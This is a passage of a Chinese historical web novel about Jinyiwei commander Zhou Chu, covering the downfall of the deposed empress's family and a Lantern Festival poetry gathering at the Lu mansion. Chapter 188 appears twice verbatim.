“你们信与不信,已经不重要了,单单从你们家抄出来的那些东西,已经完全够治你们的罪了,我现在来找你们,就是想给你们一个机会,给你们留条活路。” 周楚也不急,身后跟着的锦衣卫很有眼色的放下了一个折凳,周楚直接坐了下来。 “你会这么好心?” 陈万言冷眼看着周楚道。 “如果你们父子二人和陛下没有任何关系的话,我自然懒得管你们的死活。” 周楚不屑道。 “即便皇后被废了,但你们和陛下之间仍然存在着关系,你们体面便是陛下体面,本官是锦衣卫指挥使,自然要为陛下分忧,这一点不用我多说,想来你也应该明白。” 周楚的话,让陈万言陷入了沉默之中。 他很清楚周楚说的话是对的,自己的女儿再怎么说也当过皇后,倘若自己一家被处死,会显得皇帝冷酷无情,于私德而言会是一个污点。 仅仅是一瞬间,陈万言仿佛苍老了十岁一般,眉眼之中的憔悴和老态再也隐藏不住。 “周大人说得对,周大人需要我说什么,尽管吩咐。” 陈万言满脸破败道。 “照实说就行,最后往外如何公布,就是本官和陛下的事了。” 周楚说道。 “爹,你不要被他骗了,皇后怎么可能被废?陛下和她的感情那么好!” 陈绍祖状若疯魔道。 “闭嘴!” 陈万言看着自己这个不争气的儿子,怒吼道。 陈万言很清楚,现在最愚蠢的做法就是激怒周楚,周楚只是想让自己父子两人体面落地,但不意味着他不敢杀了自己和自己这个蠢儿子。 此时的陈万言脑袋突然变得聪明了起来,好似突然开窍了一般。 “周大人,您别和他一般见识,他就是个蠢货。” 陈万言苦笑道。 他原本是想谄媚一些的,不过他现在的心情,实在是谄媚不起来。 “你只管交代便是,我不会和他一般见识。” 周楚说这话的时候甚至都懒得多看一眼陈绍祖。 对于这种废物,周楚自然是懒得搭理,和他多说一句话都是自降身份。 “大人放心,我一定如实交代。” 陈万言此时哪里还有什么心气,能保住命对他而言已经是不幸中的万幸了。 周楚听到这话,点了点头,起身离开了。 “爹,你怎么就信了他的鬼话?” 周楚离开后,陈绍祖满脸着急道。 “鬼话?周大人真没必要骗我们,皇后如果还在位,北镇抚司根本就不敢审我们,现在北镇抚司审我们父子了,你还不清楚这意味着什么吗?蠢货!” 陈万言冷眼瞥了自己这个儿子一眼,心想自己这么英明神武,怎么就生了这么一个蠢货。 陈绍祖听到这话,才反应过来,直接跌坐在地,他的侯府世子的美梦这才做了没多久,就彻底破碎了。 第186章 嘉靖的声望攀升,陆府的元宵诗会 “陛下,陈府所有财物都已记录在案,这是名录。” 朝会上,周楚将一份重新写好的查抄名录呈了上去。 嘉靖从黄锦手中接过册子,假模假样的看了一下,实际上这个册子根本就是按他的要求编写的。 “这个陈万言确实胆大包天,都怪朕,以为他是忠臣贤臣,朕被他蒙蔽了。” 嘉靖一副懊恼的神情说道。 “陛下宅心仁厚,爱屋及乌也是人之常情,如今能大义灭亲,肃清寰宇,实乃明君。” 杨一清知道,到了自己表演的时候了,一生说了无数谎言的他,这话说起来甚至没有丝毫的心理负担,仿佛是发自肺腑的一般。 “是啊陛下,哪怕再贤明的君主也会因为偏听被蒙蔽,陛下为了大明,为了百姓如此大义灭亲,想来也很痛心。” 夏言也出列道。 他们的目的达成了,自然要顺着嘉靖的话夸赞一番。 “朕让衡器将陈万言遣返回原籍了,陈绍祖流放岭南,毕竟君臣一场。” 嘉靖叹了口气道。 “陛下英明。” 杨慎出列道。 “陛下英明。” 韩玠以及一众文武百官纷纷出列道。 陈万言的今日可能就是他们的明日,嘉靖对陈万言的处理结果可是与他们息息相关的,倘若嘉靖毫不留情,直接杀了陈万言父子,那他们恐怕都会如坐针毡。 但嘉靖没有这么做,这也是对他们释放的一个信号,只要对皇帝忠心,哪怕你贪了,日后被查处之后,也是有退路的。 听到这话,所有人都很高兴,除了那些靠着陈万言上来的官员,他们此时是如坐针毡,脊背发寒,仿佛看到了周围所有官员对他们不怀好意的目光。 陈府覆灭的消息很快就传遍了整个京城,陈万言被罢官夺职抄家,爵位也被削了,陈绍祖因为强抢民女,被流放岭南,皇后被废黜。 此消息一出,大快人心,京城之中的百姓议论纷纷,都在议论如今的皇上英明神武,即便是皇后娘家人,说办就办,就连皇后都被废黜了。 在周楚让人有意引导的情况下,百姓眼里,嘉靖这么做完全是为民除害,为了百姓,为了大明着想。 一时之间,嘉靖在京城民间的威望提升到了一个新的高度,这对一个刚刚登基一年多的皇帝而言难能可贵。 云瑾是在家过完年才离京的,此时俨然已经接近了元宵节。 嘉靖二年。 周楚有些感慨,时间过的真的很快,就像云瑾已经从当初那个小丫头长大成人了,还能领兵打仗了。 陆府之中,杨氏以及陆炜还有陆府的下人正在如火如荼的准备元宵诗会。 没错,杨氏想在自家办一场诗会。 在她看来,这场诗会是很有必要的,陆炜没多久就要大婚了,这场诗会一来可以让杨苒和陆炜趁机见见面,增进增进感情,二来,可以邀请很多京城之中的贵女才子,为他们陆家增加一些文气。 文气,正是陆家目前最缺的东西,陆炜将来是要走仕途的,杨氏这么做也算是为他提前铺路。 当然,诗会之中,男的在一边,女的在一边,最多是遥遥相望,而且还要隔着纱帘,基本看不真切。 而且此时正值寒冬,炭盆是一定要备足的,要知道来参加诗会的那些个公子小姐,即便受冻,也不会穿的十分臃肿,杨氏可不想这些人在自家染了风寒。 如今的陆家,在整个京城之中可谓是顶级豪门了,陆炳封侯,陆松是锦衣卫千户,还有一个权势滔天的锦衣卫指挥使周楚,据说以前是陆家的书童,如今和陆家的关系极为亲近。 陆府已经是侯府了,而且陆炳还是皇帝身边的近臣,据说自小就跟随在皇帝身边,杨氏更是皇帝的乳娘,这等显赫的门楣,纵观整个京城,也没有几个比得上的。 陆家是新贵,杨氏举办诗会一来是为了陆炜着想,二来也是在向京城的其他人彰显陆府的存在。 很多时候过于低调没什么好处,既然已经在这个位置上了,该做的事就要去做。 秦莞是杨苒的闺中好友,家世还算不错,但家世这东西要看和谁相比,秦家是书香世家,家世和一般百姓相比,自然算是很好的,和杨苒家相比,也是能比一比的。 但如果和陆家这种侯府相比,自然是差了不知道多少。 原本以秦莞的家世,是没资格参加侯府诗会的,但凡事总有例外,她的闺中好友是杨苒,杨苒又和陆炜有婚约在身,自然也收到了陆府的请帖。 实际上不只是她,杨苒的其他闺中密友也都收到了请帖。 秦莞听闻陆家要开元宵诗会的消息之后,很是兴奋,实际上不只是她,京城之中的很多贵女都很兴奋,因为她们都对陆炳和周楚充满了好奇。 无论是陆炳还是周楚,都是如今京城之中最炙手可热的传奇人物,同龄人只能仰望的存在。 如果是一年前,周楚的名声很不好,但即便是在他名声最不好的时候,周楚在其他人眼中,也是那个权势滔天的年轻人,无数贵女都对他心存幻想。 更何况如今周楚的口碑已然反转,这些贵女手中甚至有不少关于周楚的话本,其中多是关于某某大家小姐和周指挥使不得不说的故事。 而秦莞,也是这些话本的写手之一,她平日里闲来无事,就喜欢写一些话本,为此还特意取了个笔名,叫蓝湘子。 她写的关于周楚的话本故事,那叫一个劲爆,劲爆到除了她的贴身丫鬟,她都不敢让任何人知道她笔名的地步,每次让丫鬟去书局送书,她都有种做贼的感觉。 她写的那些话本,实际上完全是将自己代入了女主角的位置,希望能和周楚这位锦衣卫指挥使发生些什么,但也只敢想想罢了。 在外人眼中,她是个很听话的女孩子,很多事也只敢想想,是完全不敢去做的。 更何况她的家世也不允许她做任何出格的事。 现在突然收到了陆家诗会的邀请,秦莞内心兴奋坏了,陆家的诗会,这位锦衣卫指挥使应该也会到场吧? 一想到很快就能看到周楚,秦莞顿时有种梦想照进现实的感觉,诗会,这可是话本里经常出现的故事,一般才子佳人都是在诗会上认识的。 秦莞越想越兴奋。 不只是秦莞,无数官员的后宅,此时都在讨论关于陆家诗会的事。 此时的都察院右副都御史汤沐府上,汤沐的夫人张氏正拉着自己女儿的手,苦口婆心。 “这次陆家的诗会,你可要好好表现,陆家大公子肯定会在的,如今的陆家大公子可是抢手的很,稍不注意就被别人抢走了,能不能引起他的注意,全看你的本事了。” “娘,诗会男女是分开的。” 汤沐的女儿有些为难道。 “我当然知道是分开的,办法都是人想出来的,到时候你要看看有没有机会,一旦有机会,一定要在陆家大公子面前露个脸,知道吗?” 同样的话,在不同的官员府上都在上演,不过大多数都是看重陆炳的,周楚虽然更加位高权重,但这些官员对周楚更加忌惮,而且他们觉得周楚未来未必会有什么好下场。 如此一来,陆炳则成了最优选择。 但很多贵女心理,更希望见到周楚,最好是能在周楚面前露个脸,毕竟周楚的经历太过传奇,完全满足了她们对未来夫婿的幻想。 第187章 云桂坊生意的火爆,陆家诗会在即 随着元宵节将近,除了陆府之外,还有一些达官显贵家里也会举办诗会,当然,每个阶层基本都只会有一两家在开。 比如顶级圈层,陆家宣布开诗会之后,其他人即便有这个想法,也会取消,因为谁也不想得罪陆家,毕竟如今的陆家如日中天。 像更低一些的圈层,一般会有一个有实权的三品官员的夫人来举办诗会,一如当年孙娇娇等人参加的那个诗会,就是韩鸢儿家里举行的。 不过这种诗会,大多数三品官的官小姐是不会参加的,三品及以上的官员都会想办法参加陆家这种诗会,向上社交,试图攀附更高的权贵。 这些诗会的举办,获利最大的便是云桂坊。 实际上云桂坊从年前就开始每日爆满了,哪家过年不订几身新衣服?但诗会的消息传出之后,来云桂坊定做衣服的贵女愈发的多了起来。 当然,云桂坊的经营范围早已不只是衣物,还包括珠宝首饰,云桂坊的珠宝首饰比其他铺子的质量要高不少。 这一切还是因为周楚以及锦衣卫最近一年抄家太多,无数珠宝首饰进了皇帝的内帑,多到都要放不下了,毕竟这些珠宝首饰可不像钱财一样,可以随意堆放。 于是嘉靖早在大半年前就开始让人将这些珠宝首饰往外卖了,其中一部分就是卖给云桂坊的,而且嘉靖知道云桂坊是德清公主和周楚的生意,卖给云桂坊那部分的珠宝首饰都要便宜不少。 当然,云桂坊的消化能力有限,剩下的大部分珠宝首饰基本都交给了皇商贩卖。 大明的皇商,以前都混得很惨,赚不到什么钱,毕竟为皇家做事,规矩很多,很多事都得一板一眼,宁愿不赚,也不能做错。 不过这一年皇商的情况被大为改善,不仅能从江南拿到白糖和玻璃器到大明各地去销售,皇帝这大半年来给他们的珠宝首饰,古玩字画,都够他们赚的盆满钵满的。 不过这些东西的量太大,即便是皇商,分布在大明各地,也需要一定的时间慢慢出售。 什么东西一旦多了就不值钱了,皇商自然也明白这个道理,所以即便库存很多,也不会一次性都拿出来。 为了买一件拿得出手的衣服,秦莞拿出了自己写了好几年话本赚的钱,又跟自己的母亲要了两百两银子。 这笔钱对他们家而言,是一笔不小的开支。 但无论是秦父亦或是秦母都没有二话,对秦家而言,能参加这种诗会已经是高抬了他们,他们是书香世家,自然不会因此丢了面子,所以对于秦莞要去云桂坊买衣服的想法很是赞同。 “二百两够吗?” 秦母有些不放心道。 对于云桂坊的衣物的价格,她是听说过的,即便是她,也舍不得买一件。 “放心吧娘,我还存了一些钱。” 秦莞完全不敢说自己写话本赚了不少钱,她都不敢想自己的笔名被父母知道之后会是一场怎样的灾难。 “那就好,这次去陆家,倒也不要想着出什么风头,能去陆家的都是高门大户的小姐公子,我们这等小门小户能参加已经不错了,只要别丢了秦家的颜面就行。” 秦母交代道。 “我知道的,娘。” 秦莞乖巧道。 秦莞拿了钱,带着自己的丫鬟直奔云桂坊而去。 很快,两人就到了云桂坊,此时的云桂坊相较于往日更加火爆,整个铺子里都是人,而且看打扮,基本都是官家小姐亦或是大户人家的下人。 “诸位,不必着急,一个一个来,这样会更快。” 沈青拍了拍手,喊道。 看到沈青,秦莞眼睛一亮,她是知道沈青的,以前还特地来云桂坊看过沈青,甚至秦莞还写过沈青和周楚的话本。 以前的这个女人眼神之中充满了自信和强大的气场,让人下意识的对她的话就充满了信服。 这让秦莞感到无比羡慕,她久居后宅,平日里都很少出门,内心最佩服的便是沈青这种,自信又气场强大的女人。 “小姐,今日我们运气真好,沈掌柜的经营着这么多家云桂坊,而且自从大婚以后,她就很少露面了,想来是因为最近云桂坊太忙了,她才出来的。” 秦莞身边的婢女自然是知道她的心思的,平日里她有什么想法,唯一可以说的人,也只有她这个贴身婢女了,她的笔名也只有这个婢女知道。 婢女看着秦莞那放光的眼神,就知道她在想什么了。 “确实运气不错。” 秦莞笑道。 秦莞排了一刻钟左右的队,终于来到了沈青面前。 “您好,请问是要买成衣还是定制?” 沈青看着秦莞问道。 倘若是买布的,就不会排队来她面前了,自有其他人接待。 “定制的话,要多久能做出来,元宵节之前可以吗?” 秦莞有些忐忑道。 “可以的,最近一年的时间我们云桂坊培养了大批绣娘,完全可以做出来,有款式吗?还是要我们帮忙设计款式?” 沈青说话的语气语调让秦莞感到很舒服,仿佛春风拂面一般,和方才那种强大的气场形成了很大的反差。 沈青说完这话,还拿出了几份图纸,让秦莞参考。 “这些都只是样板款式,具体要求还可以再提。” 沈青说道。 “这一张吧,在这个部位绣一个流云纹。。。。” 秦莞指着其中一张图纸,开始提自己的定制要求。 沈青一边听一边记,很快就把秦莞的要求都记了下来。 “这是定金。” 秦莞说着取出一张一百两的银票,递给了沈青。 “元宵节前一天您可以让人来取,您也可以自己过来,那样的话尺寸有什么不合适的地方,也可以现场裁改。” 沈青笑道。 “好的。” 秦莞和沈青说完这话之后,整个人感觉轻飘飘的,此时她才理解了沈青的魅力,怪不得这个女人能撑起云桂坊,即便是秦莞这种不怎么出门的人,在这里买了一次之后,都期待着下一次再来云桂坊买衣服了,最好还是沈青接待的。 很快,元宵节就到了,秦莞去云桂坊取了自己定制的马面裙,穿在身上,十分满意。 不是她不想定制流云昭,实在是流云昭太贵了,即便是她也买不起。 而且京城能穿流云昭的,基本上都是三品官以上的官家小姐,即便秦莞买得起,她也不会穿,什么人穿什么衣服的道理,她还是懂的。 “小姐,你说那周大人会不会出现在诗会上?” 元宵节这天,陆家的诗会眼看就要开始了,秦莞出门之前,她的婢女有些期待道。 “应该会吧?” 秦莞有些不确定道。 第188章 陆家,林瑶,周楚和陆炳现身 陆府如今已然是侯府,旁边的周府也是侯府,两座侯府离的这么近,一直都是京城之中百姓以及深闺小姐茶余饭后的谈资。 周楚的过往为越来越多的人熟知,比如周楚当初被卖到陆家成为书童,又比如当年陆家身陷囹圄,陆家遣散下人,陆家的亲戚都没有去大狱之中看望的,只有周楚这个书童才十岁就开始在沈青的铺子里干起了掌柜的。 现在看来,很多人佩服沈青的慧眼识珠,但大多数人都不得不承认,换成了他们,他们是绝没有勇气让一个十岁的半大孩子当掌柜的。 十岁甚至八九岁的学徒在各个店铺有很多,甚至大部分店铺的学徒都差不多是这个岁数,有出挑的,能力强的,大部分人也只会让他协助掌柜的办事。 除非实在是没人可用了,才会启用这个年龄的半大小子。 正所谓嘴上没毛办事不牢,大部分这个年岁的,心性都没有稳定下来,可能一两件事办的很漂亮,但谁也不敢保证他们哪件事办错了就会给铺子里带来巨大的损失。 这个年岁心性稳定的有,但很少。 而且年龄大些的经验各个方面都更老道一些。 不过如今看来,沈青何止是赌对了,简直是赢的盆满钵满。 如今的沈青,以商贾的身份嫁给了锦衣卫百户,更是被德清公主收为干女儿,这种身份的跃迁和提升,是多少钱都带不来的。 沈青的际遇早被像秦莞这种写话本的写成了不知道多少个版本的话本了,大明就是话本多,很多大文人甚至都会化用笔名,悄悄写话本。 当然,也有正大光明写的。 “秦莞,这边。” 陆府门口,杨苒看到了秦莞,高兴地挥了挥手。 “这么巧,没想到我们居然同时到的,果然是心有灵犀。” 秦莞来到杨苒面前,笑道。 “是啊,咱们姐妹同心。” 杨苒高兴道。 “那旁边就是周府吧?” 秦莞看了一眼不远处的另一个宅子,好奇道。 杨苒听到这话,点了点头。 “怎么,你也心念周大人?” 杨苒打趣道。 “那你可惨了,如今整个京城之中,那些贵女,大家小姐,不知道多少心里都记挂着周大人呢。” 秦莞听到这话,不禁想起了自己写的关于周楚的话本,又想到周楚的其中的一个身份正是锦衣卫指挥使。 自己的笔名,只怕是瞒不过锦衣卫的,不过这等小事,应该不会被通报到周大人那里吧? 想到这里,秦莞心虚地缩了缩脑袋。 “周大人岂是我能肖想的,周大人如同那天上的昊日一般耀眼,我有自知之明的。” 秦莞笑道。 对于杨苒,她并没有隐藏自己的心思,不过秦莞也有自知之明,她很清楚自己和周楚之间的巨大差距,两人之间可以说毫无可能。 人贵有自知之明。 听到这话,杨苒挽住秦莞的胳膊。 “不要想这些了,赶紧进去吧。” 两人进入陆府之中,发现里面别有洞天,陆府单从大门看,让人觉得不大,但进去之后才发现并非如此,里面的院子一个连着一个,而且院落之中假山分布的很有错落之感,应该是出自大师手笔。 很快,杨苒和秦莞跟随陆府的下人来到了女眷聚集的地方,两人到的时候,已经有很多贵女都到了。 杨苒的到来引起了很多贵女的注意,毕竟她可是和陆炜有婚约在身,这让很多贵女看她的眼神都充满了嫉妒。 她们都很清楚,无论是陆炳亦或是周楚,她们也只能想想,基本上是没什么希望的。 但陆炜不同啊,作为陆家的二公子,如今的陆炜虽然只有十七岁,却已经是秀才了,想来下一次秋闱中个举人还是很有希望的。 如此少年英才,家世还这么好,如今还不像陆炳和周楚那般功成名就,早就被很多人盯上了,谁知却被这个不知道从哪里冒出来的杨苒截了胡。 不过这些贵女虽然看杨苒不爽,却也不敢在陆家造次,毕竟无论是陆炳,亦或是周楚,一旦知道她们为难杨苒,为难将来陆家的媳妇,恐怕不只是她们,连她们的父亲都会被牵连。 不是这些贵女胆子不够大,这些人之中胆大包天的也有,但能被家里派来陆府参加诗会的,都是有些脑子的,来之前他们的家人甚至还会特意叮嘱一番,千万不能惹祸。 实在是因为周楚这个锦衣卫指挥使的威慑力太大了。 “县主,您这边请。” 众人听到陆家下人的这句话,顿时来了精神,她们没想到陆家居然把公主的女儿都请了过来,如今在京城的公主,也只有德清公主和仁和公主了。 孝宗朱祐樘只有一个女儿,很小便夭折了。 武宗朱厚照更是一个子女都没有。 德清公主已经是大明硕果仅存的两个公主之一,另外一个则是德清公主的姐姐仁和公主,比德清公主大了四岁。 不过仁和公主生了五个儿子,早年间有过一个女儿,却是早夭了。 所以能被称之为县主的,也只有德清公主的女儿林瑶。 林瑶的到来,让所有贵女都提起了精神,她们都听说过这位县主的脾气很大,很不好惹,前些年那些纨绔子弟没少被她打,这两年倒是消停了不少,不过她们也不敢怠慢。 秦莞心里更是忐忑,她还是第一次参加这种级别的诗会,以往别说县主了,就连眼前的这些贵女都很少能见到。 林瑶很快出现在了众人面前,她的脸上带着恣意飞扬,并不像其他贵女那般拘谨注意仪态。 这让秦莞很是羡慕,心想自己如果也能像县主这般该有多好。 杨苒两人看到林瑶低头问了陆家下人两句,随后便直奔她们而来,顿时有些紧张。 “你就是杨苒吧。” 林瑶来到两人面前,看着杨苒,笑道。 “见过县主。” 杨苒和秦莞急忙行礼道。 “不用多礼,今日是诗会,不讲究这些。” 林瑶无所谓道。 “将来你可就是陆家的媳妇了,咱们见面的机会多着呢,陆夫人和我娘关系很好,经常去我们家找我娘闲聊。” 林瑶的话让杨苒和秦莞有些恍惚,这还是那个传说中脾气不好的县主吗?林瑶对她们的态度让她俩有些受宠若惊。 林瑶眼看着两人这般拘谨,便坐在了椅子上。 “你们也坐吧。” 林瑶很清楚,自己不坐,她俩也不敢坐。 杨苒和秦莞这才松了口气,有些忐忑地坐了下来。 随后林瑶和杨苒以及秦莞聊了许多,很快两人就彻底放松了下来,她们觉得其他人对这位县主肯定是有所误解,这县主多好啊。 “是陆家大公子,还有周大人,他们两人一起过来的。” 不知谁说了一句,原本还在闲聊的林瑶瞬间来了精神,看向了外面。 第188章 陆家,林瑶,周楚和陆炳现身 陆府如今已然是侯府,旁边的周府也是侯府,两座侯府离的这么近,一直都是京城之中百姓以及深闺小姐茶余饭后的谈资。 周楚的过往为越来越多的人熟知,比如周楚当初被卖到陆家成为书童,又比如当年陆家身陷囹圄,陆家遣散下人,陆家的亲戚都没有去大狱之中看望的,只有周楚这个书童才十岁就开始在沈青的铺子里干起了掌柜的。 现在看来,很多人佩服沈青的慧眼识珠,但大多数人都不得不承认,换成了他们,他们是绝没有勇气让一个十岁的半大孩子当掌柜的。 十岁甚至八九岁的学徒在各个店铺有很多,甚至大部分店铺的学徒都差不多是这个岁数,有出挑的,能力强的,大部分人也只会让他协助掌柜的办事。 除非实在是没人可用了,才会启用这个年龄的半大小子。 正所谓嘴上没毛办事不牢,大部分这个年岁的,心性都没有稳定下来,可能一两件事办的很漂亮,但谁也不敢保证他们哪件事办错了就会给铺子里带来巨大的损失。 这个年岁心性稳定的有,但很少。 而且年龄大些的经验各个方面都更老道一些。 不过如今看来,沈青何止是赌对了,简直是赢的盆满钵满。 如今的沈青,以商贾的身份嫁给了锦衣卫百户,更是被德清公主收为干女儿,这种身份的跃迁和提升,是多少钱都带不来的。 沈青的际遇早被像秦莞这种写话本的写成了不知道多少个版本的话本了,大明就是话本多,很多大文人甚至都会化用笔名,悄悄写话本。 当然,也有正大光明写的。 “秦莞,这边。” 陆府门口,杨苒看到了秦莞,高兴地挥了挥手。 “这么巧,没想到我们居然同时到的,果然是心有灵犀。” 秦莞来到杨苒面前,笑道。 “是啊,咱们姐妹同心。” 杨苒高兴道。 “那旁边就是周府吧?” 秦莞看了一眼不远处的另一个宅子,好奇道。 杨苒听到这话,点了点头。 “怎么,你也心念周大人?” 杨苒打趣道。 “那你可惨了,如今整个京城之中,那些贵女,大家小姐,不知道多少心里都记挂着周大人呢。” 秦莞听到这话,不禁想起了自己写的关于周楚的话本,又想到周楚的其中的一个身份正是锦衣卫指挥使。 自己的笔名,只怕是瞒不过锦衣卫的,不过这等小事,应该不会被通报到周大人那里吧? 想到这里,秦莞心虚地缩了缩脑袋。 “周大人岂是我能肖想的,周大人如同那天上的昊日一般耀眼,我有自知之明的。” 秦莞笑道。 对于杨苒,她并没有隐藏自己的心思,不过秦莞也有自知之明,她很清楚自己和周楚之间的巨大差距,两人之间可以说毫无可能。 人贵有自知之明。 听到这话,杨苒挽住秦莞的胳膊。 “不要想这些了,赶紧进去吧。” 两人进入陆府之中,发现里面别有洞天,陆府单从大门看,让人觉得不大,但进去之后才发现并非如此,里面的院子一个连着一个,而且院落之中假山分布的很有错落之感,应该是出自大师手笔。 很快,杨苒和秦莞跟随陆府的下人来到了女眷聚集的地方,两人到的时候,已经有很多贵女都到了。 杨苒的到来引起了很多贵女的注意,毕竟她可是和陆炜有婚约在身,这让很多贵女看她的眼神都充满了嫉妒。 她们都很清楚,无论是陆炳亦或是周楚,她们也只能想想,基本上是没什么希望的。 但陆炜不同啊,作为陆家的二公子,如今的陆炜虽然只有十七岁,却已经是秀才了,想来下一次秋闱中个举人还是很有希望的。 如此少年英才,家世还这么好,如今还不像陆炳和周楚那般功成名就,早就被很多人盯上了,谁知却被这个不知道从哪里冒出来的杨苒截了胡。 不过这些贵女虽然看杨苒不爽,却也不敢在陆家造次,毕竟无论是陆炳,亦或是周楚,一旦知道她们为难杨苒,为难将来陆家的媳妇,恐怕不只是她们,连她们的父亲都会被牵连。 不是这些贵女胆子不够大,这些人之中胆大包天的也有,但能被家里派来陆府参加诗会的,都是有些脑子的,来之前他们的家人甚至还会特意叮嘱一番,千万不能惹祸。 实在是因为周楚这个锦衣卫指挥使的威慑力太大了。 “县主,您这边请。” 众人听到陆家下人的这句话,顿时来了精神,她们没想到陆家居然把公主的女儿都请了过来,如今在京城的公主,也只有德清公主和仁和公主了。 孝宗朱祐樘只有一个女儿,很小便夭折了。 武宗朱厚照更是一个子女都没有。 德清公主已经是大明硕果仅存的两个公主之一,另外一个则是德清公主的姐姐仁和公主,比德清公主大了四岁。 不过仁和公主生了五个儿子,早年间有过一个女儿,却是早夭了。 所以能被称之为县主的,也只有德清公主的女儿林瑶。 林瑶的到来,让所有贵女都提起了精神,她们都听说过这位县主的脾气很大,很不好惹,前些年那些纨绔子弟没少被她打,这两年倒是消停了不少,不过她们也不敢怠慢。 秦莞心里更是忐忑,她还是第一次参加这种级别的诗会,以往别说县主了,就连眼前的这些贵女都很少能见到。 林瑶很快出现在了众人面前,她的脸上带着恣意飞扬,并不像其他贵女那般拘谨注意仪态。 这让秦莞很是羡慕,心想自己如果也能像县主这般该有多好。 杨苒两人看到林瑶低头问了陆家下人两句,随后便直奔她们而来,顿时有些紧张。 “你就是杨苒吧。” 林瑶来到两人面前,看着杨苒,笑道。 “见过县主。” 杨苒和秦莞急忙行礼道。 “不用多礼,今日是诗会,不讲究这些。” 林瑶无所谓道。 “将来你可就是陆家的媳妇了,咱们见面的机会多着呢,陆夫人和我娘关系很好,经常去我们家找我娘闲聊。” 林瑶的话让杨苒和秦莞有些恍惚,这还是那个传说中脾气不好的县主吗?林瑶对她们的态度让她俩有些受宠若惊。 林瑶眼看着两人这般拘谨,便坐在了椅子上。 “你们也坐吧。” 林瑶很清楚,自己不坐,她俩也不敢坐。 杨苒和秦莞这才松了口气,有些忐忑地坐了下来。 随后林瑶和杨苒以及秦莞聊了许多,很快两人就彻底放松了下来,她们觉得其他人对这位县主肯定是有所误解,这县主多好啊。 “是陆家大公子,还有周大人,他们两人一起过来的。” 不知谁说了一句,原本还在闲聊的林瑶瞬间来了精神,看向了外面。 第189章 唐伯虎的诗,吴承恩 林瑶甚至觉得眼前的纱帘碍眼,直接将纱帘撩开了。 这一举动深合秦莞的心意,甚至秦莞和杨苒身后那些贵女都跟着沾了光,看到了周楚和陆炳的长相。 陆炳的身材本就是虎背蜂腰,标准的锦衣卫身材,长相虽然不像陆松那般粗犷,却也和俊俏沾不上边。 不过在身份、家世以及经历等层层光环的加持下,此时的陆炳在这些贵女眼中仍然充满了魅力,很多贵女都被他散发的魅力死死地吸引住目光,一时之间不知道看他还是看周楚。 至于周楚,则出乎了很多贵女的预料,原本她们以为周楚作为锦衣卫指挥使,不说像传说中那般长的青面獠牙的,但毕竟是锦衣卫,再怎么说也和其他锦衣卫差不多吧,虎背蜂腰的。 身材方面倒是没多大差异,虽然块头比陆炳小了一些,却也能看出周楚那套华丽的常服之下身材的健硕,但周楚的脸却超出了所有人的预料,给她们带来了很大的惊喜。 特别是秦莞,她之前写话本的时候,都没敢把周楚写的太英俊,因为她觉得那样太脱离实际了,毕竟锦衣卫能有几个长相英俊的? 但眼前的周楚让她明白,有些人就是那么完美,周楚俊朗的五官,配合周身那若隐若现的气势,即便周楚有意收拢,秦莞等人还是能感觉到这位锦衣卫指挥使掌握着生杀大权。 英俊又充满了阳刚和威严,不只是秦莞,很多贵女只是看了一眼,眼睛就再也挪不动了。 长相是一方面,主要还是周楚身上的各种光环,以及现在的氛围,周楚和陆炳此时成了全场的焦点,哪怕此时周楚长的一般,身上没有任何光环,一旦成了焦点,就会让大部分人觉得他充满了魅力。 这便是聚光灯效应。 更何况周楚不论是身上的光环,还是长相,都是顶级的,这些贵女如何能挪得开目光。 林瑶看着周楚此时被众人瞩目,愈发觉得自己的衡器哥哥充满了魅力,当即直接走了出去。 这纱帘对其他贵女是束缚,对她不是,她作为县主,本就不必太在乎一般的规矩,只要不是言行无状,这种小的规矩一般是束缚不住皇家女子的。 当然,大的规矩还是要遵守的,这一点上,大明的皇室女子和大唐比要强了不知多少。 秦莞和杨苒等贵女看着林瑶跑了出去,来到了周楚面前,原本还高贵明艳的县主,在这位周指挥使面前,仿佛变成了一个邻家女孩,神态娇羞的不断地说着什么。 周楚在一旁笑着,听着林瑶不停地说着。 秦莞等人隔着纱帘,看不真切,但她们内心对林瑶却是充满了羡慕,心想自己若是能像县主这般毫无顾忌的跑到周大人身旁,那该多好。 “感谢诸位今日能来参加我家的诗会,我娘觉着今日元宵,我等年轻人本该吟诗作赋赏月饮酒,就攒了这么个诗会,我陆府浅薄,招待不周,还望诸位原谅则个。” 陆炳作为陆家的长子,如今还是陆家身份最高的那个,自然最适合说开场词。 这话说的进退有度,让那些原本就心悦陆炳的贵女,愈发觉得他充满了魅力。 陆炳说完之后,就看向了周楚,似乎在等着他开口。 周楚也不矫情。 “诸位今日能来参加诗会,都是贵客,用我老师唐伯虎写的一首诗来作为开场吧。” “九十春光一掷梭,花前斟酒唱高歌。” “枝上花开能几日,世上人生能几何。” “好花难种不长开,少年易过不重来。” “人生不向花前醉,花笑人生也是呆。” 周楚一句一句吟唱,极具韵律,这首花下酌酒歌正是周楚回京之前,唐伯虎和周楚两人在唐府畅饮,喝多了之后作的。 诗的本意就是劝周楚珍惜少年时光,该对酒当歌的时候便对酒当歌。 拿来做诗会的开场诗,再合适不过。 这首诗一出,顿时赢得了满堂彩。 无论是作诗的唐伯虎,亦或是这首诗本身,都值得他们喝彩。 特别是这首诗,那些才子才女默读了很多遍,越读越觉得韵味无穷,他们甚至可以预见到,这首诗将来很可能流传千古。 而此次诗会,是这首诗第一次出现在大众面前,这么一想,他们内心就忍不住激动了起来,想着他们或许会因此此时被记上一笔,他们就感到浑身战栗。 随着开场诗读完,诗会正式开始,一个个少男少女纷纷开始展现才华,吟诗作对。 孙娇娇和韩鸢儿这种已经嫁做人妇的自然是参加不了这种诗会的,这种元宵诗会,说白了更像是一场无形的相亲大会,举办这种诗会,一般都是让未曾婚配的少年少女物色自己喜欢的对象的。 当然,这只是潜在的作用,大家让自家儿女来参加诗会也是抱着这种目的的,明面上当然还是诗会。 所以大家都会尽量展现自己的才华,如同开了屏的孔雀一般,吸引异性的注意。 其中一个看上去十五六岁的年轻才子朗诵完一首诗之后,满脸的志得意满。 “汝忠,你觉得我这首诗如何?” 他看向旁边一个身材略显消瘦的同伴道。 “缺了些韵味。” 旁边的少年并未给他多少面子,客观道。 听到这话,原本还志得意满的少年脸色一垮,有些泄气,倘若是其他人如此评论,他可能还会不服气,但吴汝忠这么说,他是心服口服的。 实在是因为眼前这个消瘦少年的才学比他高太多了。 听汝忠这个字号,站在一旁的周楚顿时来了兴致,来到了两人身旁。 “见过周大人。” 两人急忙起身行礼道,语气之中满是忐忑。 即便是吴汝忠才学出众,但也只是少年英才,和周楚这种掌握着生杀大权的顶级大佬之间的差距犹如天渊。 “你叫什么名字?” 周楚看着吴汝忠道。 